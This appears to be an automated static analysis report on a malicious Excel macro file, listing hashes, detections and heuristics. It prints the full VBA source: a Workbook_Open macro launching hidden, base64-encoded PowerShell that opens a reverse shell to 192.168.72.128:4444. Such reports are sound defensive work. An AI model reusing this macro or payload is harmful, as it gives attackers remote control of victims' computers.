Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6f57c61199c22325…

MALICIOUS

Office (OOXML)

4.4 KB First seen: 2022-06-20
MD5: 8f43423b42a086544b67004947463305 SHA-1: b41f35f2aa03d69abe8658ec692e9cab62cc9a8c SHA-256: 6f57c61199c22325cf7ce9d49a2e3fff8e405da3f2dd7c89ef5444747652caf1
308 Risk Score

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        TaskID = Shell(Program, 1)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Program = "powershell -WindowStyle Hidden  -enc JQCIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjcyLjEyOCcsNDQ0NCk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwlezB9O3doaWxlKCgkaSA9ICRzdHJlYW0uUmVhZCgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpKSAtbmUgMCl7OyRkYXRhID0gKE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LkFTQ0lJRW5jb2RpbmcpLkdldFN0cmluZygkYnl0ZXMsMCwgJGkpOyRzZW5kYmFjayA9IChpZXggJGRhdGEgMj4mMSB8IE91dC1TdHJpbmcgKTskc2VuZGJhY2syID0gJHN …
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1572 bytes
SHA-256: 9b6912446b4e0c5ea61d254afab1182f8b7f37f97420262a2e7167232ea72d2a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim Program As String
    Dim TaskID As Double
    On Error Resume Next
    Program = "powershell -WindowStyle Hidden  -enc JQCIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjcyLjEyOCcsNDQ0NCk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwlezB9O3doaWxlKCgkaSA9ICRzdHJlYW0uUmVhZCgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpKSAtbmUgMCl7OyRkYXRhID0gKE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LkFTQ0lJRW5jb2RpbmcpLkdldFN0cmluZygkYnl0ZXMsMCwgJGkpOyRzZW5kYmFjayA9IChpZXggJGRhdGEgMj4mMSB8IE91dC1TdHJpbmcgKTskc2VuZGJhY2syID0gJHNlbmRiYWNrICsgJ1BTICcgKyAocHdkKS5QYXRoICsgJz4gJzskc2VuZGJ5dGUgPSAoW3RleHQuZW5jb2RpbmddOjpBU0NJSSkuR2V0Qnl0ZXMoJHNlbmRiYWNrMik7JHN0cmVhbS5Xcml0ZSgkc2VuZGJ5dGUsMCwkc2VuZGJ5dGUuTGVuZ3RoKTskc3RyZWFtLkZsdXNoKCl9OyRjbGllbnQuQ2xvc2UoKSIiQDs="
    TaskID = Shell(Program, 1)
    If Err <> 0 Then    
        MsgBox "Can't start " & Program
    End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5632 bytes
SHA-256: 53a4d06d8baaaa1611cc0402418eb111650fc63e2b5c54b65eda25b4fc132f29
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely